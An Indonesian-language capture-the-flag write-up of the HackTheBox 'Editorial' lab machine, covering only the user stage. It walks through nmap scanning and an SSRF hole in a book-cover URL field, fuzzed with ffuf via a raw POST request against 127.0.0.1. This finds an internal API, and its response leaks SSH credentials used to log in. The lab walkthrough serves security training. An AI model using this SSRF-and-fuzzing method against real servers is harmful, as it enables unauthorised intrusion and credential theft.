Published on

HACKTHEBOX - Editorial WriteUp - User Only

Authors
  • avatar
    Name
    Alvin Dhiyaul H
    Twitter
image

Reconnaissance

Seperti biasa saya akan melakukan port scanning untuk mengetahui port apa saja yang terbuka menggunakan tools nmap

❯ nmap -sC -sV -p80,22 10.10.11.20
Starting Nmap 7.95 ( https://nmap.org ) at 2024-10-05 00:08 WIB
Nmap scan report for editorial.htb (10.10.11.20)
Host is up (0.30s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
|_  256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Editorial Tiempo Arriba
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.83 seconds

Dan terdapat informasi bahwasanya terdapat port 80 (http),mari kita coba menggunakan browser untuk mengakses nya.

Sebelum mengaksesnya melalui browser kita perlu menambahkan domain pada file /etc/hosts, gunakan bash command seperti dibawah untuk menambahkan nya

sudo echo "10.10.11.20 editorial.htb" | sudo tee -a /etc/hosts

Kemudian kita dapat mengakses web apps nya seperti di bawah ini:

image

USER FLAG

Saya melihat sebuah fitur yang menarik, yaitu Book information yang dimana kita dapat menambahkan cover buku yang akan kita publish dengan langsung menginputkan URL dari cover buku tersebut.

image

Kemudian saya mencoba untuk melakukan pengujian SSRF (Server Side Requests Forgery) pada fitur tersebut dengan cara meng-intercept requests melalui Burp Suite seperti gambar di bawah ini:

image

Pada gambar diatas ketika saya mencoba melakukan requests ke localhost server, response memberikan kita sebuah status code 200 OK dan memberikan sebuah endpoint gambar dengan extension .jpeg, lalu saya akan mencoba melakukan Fuzzing untuk menemukan port scanning yang terbuka dan hanya bisa kita akses melalui ip internal/localhost menggunakan tool Ffuf.

NOTE

Sebenarnya kita bisa melakukan fuzzing menggunakan intruder sebuah fitur yang ada di burb suite, tetapi akan memakan waktu yang lama karena saya menggunakan BurpSuite CE

Sebelumnya saya telah membuat wordlist port dari 1-10000 menggunakan bash scripting seperti di bawah ini:

#!/bin/bash

# Loop dari 1 hingga 10000 dan simpan di file wordport.txt
for i in {1..10000}
do
  echo $i >> wordport.txt
done

Kemudian simpan requests BurpSuite untuk kita lakukan POST data fuzzing menggunakan Ffuf.

POST /upload-cover HTTP/1.1
Host: editorial.htb
Content-Length: 302
Accept-Language: id-ID,id;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGiGzcMnyX2gVWlHY
Accept: */*
Origin: http://editorial.htb
Referer: http://editorial.htb/upload
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundaryGiGzcMnyX2gVWlHY
Content-Disposition: form-data; name="bookurl"

http://127.0.0.1:FUZZ
------WebKitFormBoundaryGiGzcMnyX2gVWlHY
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundaryGiGzcMnyX2gVWlHY--

Dan kemudian saya menyimpan requests pada file requests.txt, lalu melakukan fuzzing menggunakan ffuf.

❯ ffuf -u http://editorial.htb/upload-cover -X POST -request /Users/alvin/Documents/HACKTHEBOX/Easy/Editorial/requests.txt  -w wordport.txt

Tetapi akan banyak sekali response dengan Status:200 dan Size:61 sehingga perlu dilakukan filtering dengan menambahkan arguments -fs 61.

❯ ffuf -u http://editorial.htb/upload-cover -X POST -request /Users/alvin/Documents/HACKTHEBOX/Easy/Editorial/requests.txt  -w wordport.txt -fs 61

Sehingga muncul response valid seperti di bawah ini sama muncul Status:200 akan tetapi Size nya berbeda yaitu Size:51 seperti dibawah ini.

❯ ffuf -u http://editorial.htb/upload-cover -X POST -request /Users/alvin/Documents/HACKTHEBOX/Easy/Editorial/requests.txt  -w wordport.txt -fs 61

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://editorial.htb/upload-cover
 :: Wordlist         : FUZZ: /Users/alvin/Documents/HACKTHEBOX/Easy/Editorial/wordport.txt
 :: Header           : Origin: http://editorial.htb
 :: Header           : Accept-Encoding: gzip, deflate, br
 :: Header           : Host: editorial.htb
 :: Header           : User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
 :: Header           : Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGiGzcMnyX2gVWlHY
 :: Header           : Accept: */*
 :: Header           : Referer: http://editorial.htb/upload
 :: Header           : Connection: keep-alive
 :: Header           : Accept-Language: id-ID,id;q=0.9
 :: Data             : ------WebKitFormBoundaryGiGzcMnyX2gVWlHY
Content-Disposition: form-data; name="bookurl"

http://127.0.0.1:FUZZ
------WebKitFormBoundaryGiGzcMnyX2gVWlHY
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundaryGiGzcMnyX2gVWlHY--

 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 61
________________________________________________

5000                    [Status: 200, Size: 51, Words: 1, Lines: 1, Duration: 316ms]
:: Progress: [10000/10000] :: Job [1/1] :: 127 req/sec :: Duration: [0:01:23] :: Errors: 1 ::

Yang berarti kita telah berhasil menemukan port yang terbuka yaitu port 5000 Lalu kita coba akses port 5000 melalui requests BurpSuite yang sebelumnya.

image

Dapat kita lihat response diatas bahwasanya menampilkan Status 200 OK yang berarti kita telah berhasil melakukan requests exploitasi SSRF (Server Side Requests Forgery) ke server.

Dan server juga memberikan kita sebuah endpoint file static/uploads/24c063dc-3294-4d68-b5e4-82ce5469bd38 yang terdapat pada server.

Pertama yang saya lakukan adalah mencoba melakukan requests pada fitur Book Information dengan menginputkan URL berikut.

http://127.0.0.1/static/uploads/24c063dc-3294-4d68-b5e4-82ce5469bd38

image

Lalu cek history BurpSuite yang terdapat endpoint diatas kemudian liat hasil nya.

image

Kemudian saya menemukan sebuah endpoint yang menarik dari hasil requests ssrf tersebut yaitu /api/latest/metadata/messages/authors, lalu saya mencoba mengaksesnya dengan seperti yang sebelumnya yaitu SSRF (Server Side Requests Forgery) ke ip internal/localhost server pada fitur Book information.

image

Kemudian saya mendapatkan sebuah kridensial ssh,setelah saya mengecek history BurpSuite seperti di bawah ini.

image

Pada response di di BurpSuite Terdapat sebuah username & password untuk mengakses SSH pada server.

Dan mari kita akses SSH tersebut untuk mendapatkan flag User.

❯ ssh dev@editorial.htb
dev@editorial.htb's password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sat Oct  5 10:23:06 AM UTC 2024

  System load:           0.96
  Usage of /:            61.3% of 6.35GB
  Memory usage:          19%
  Swap usage:            0%
  Processes:             228
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.20
  IPv6 address for eth0: dead:beef::250:56ff:fe94:d3b3


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sat Oct  5 09:20:17 2024 from 10.10.14.33
dev@editorial:~$ ls
apps  user.txt
dev@editorial:~$

Dan kita telah berhasil mendapatkan akses ke user untuk server editorial ini, dan dapat dilihat juga terdapat Flag user.txt